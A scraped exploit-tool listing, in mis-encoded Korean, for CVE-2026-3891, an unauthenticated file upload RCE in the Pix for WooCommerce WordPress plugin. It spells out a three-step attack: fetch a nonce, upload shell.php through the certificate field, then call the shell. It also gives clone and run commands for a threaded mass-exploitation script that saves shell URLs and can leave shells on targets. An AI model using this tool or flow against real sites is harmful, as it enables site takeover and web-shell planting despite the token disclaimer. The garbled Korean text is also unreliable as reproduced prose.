## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHINTHINK-CVE-2026-3891
   
### CVE-2026-3891 β Pix for WooCommerce μΈμ¦λμ§ μμ νμΌ μ
λ‘λ RCE
#### Nonce μ μΆ β certificate_crt_path μ
λ‘λ β μ½λ μ€ν
* * *
## κ°μ
**CVE-2026-3891** μ linknacionalμ **Pix for WooCommerce** WordPress νλ¬κ·ΈμΈ λ²μ **β€ 1.5.0** μμ λ°μνλ μΉλͺ
μ μ¬κ°λ(CVSS 9.8)μ **μΈμ¦λμ§ μμ** μμ νμΌ μ
λ‘λ μ·¨μ½μ μ
λλ€.
`lkn_pix_for_woocommerce_c6_save_settings` AJAX νΈλ€λ¬μλ λ€μκ³Ό κ°μ λ¬Έμ κ° μμ΅λλ€:
1. **κΆν κ²μ¬ μμ** β μΈμ¦λμ§ μμ λ°©λ¬Έμλ νΈμΆν μ μμ΅λλ€
2. **νμΌ μ ν κ²μ¦ μμ** β `certificate_crt_path` λ§€κ°λ³μλ₯Ό ν΅ν΄ λͺ¨λ νμΌ νμ₯μκ° νμ©λ©λλ€
3. μ ν¨ν nonceλ μΈμ¦ μμ΄ `lkn_pix_for_woocommerce_generate_nonce` μλν¬μΈνΈλ₯Ό ν΅ν΄ **μμ λ‘κ² νλ** ν μ μμ΅λλ€
μ
λ‘λλ νμΌμ μΉμμ μ κ·Ό κ°λ₯ν λλ ν°λ¦¬μΈ `/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/`μ μ μ₯λ©λλ€.
### μ·¨μ½ν λ²μ
Version| Status
---|---
β€ 1.5.0| μ·¨μ½
1.6.0+| ν¨μΉλ¨
> **λ°κ²¬μ:** Alexis Lafontaine (Wordfence κ²½μ , 2026λ
3μ 13μΌ)
* * *
## μ·¨μ½μ λ©μ»€λμ¦
### κ·Όλ³Έ μμΈ
root@kitploit:~
// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
// Upload handler β no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
// No current_user_can() check
// No wp_check_filetype() call
move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}
### 곡격 νλ¦
root@kitploit:~
1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
β Get valid nonce (no auth needed)
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
β Upload shell.php via certificate_crt_path field
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
β RCE
* * *
## μ€μΉ
root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt
## μ¬μ©λ²
root@kitploit:~
python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup
### μΈμ
root@kitploit:~
-t, --target Single target
-f, --file Target list
-o, --output Save RCE URLs
--threads Workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every request
-v, --verbose Verbose output
* * *
## λ©΄μ±
μ‘°ν
> **κ΅μ‘ λ° μΉμΈλ ν
μ€νΈ λͺ©μ μΌλ‘λ§ μ¬μ©νμμμ€.** μμ±μλ μ€μ©μ λν μ±
μμ μ§μ§ μμ΅λλ€.
* * *
## μ°Έκ³ μλ£
리μμ€| λ§ν¬
---|---
Wordfence κΆκ³ | wordfence.com
NVD νλͺ©| CVE-2026-3891
μ°κ΅¬μ| Alexis Lafontaine
* * *
linknacional λλ Pix for WooCommerceμ μ ν΄νμ§ μμμ΅λλ€.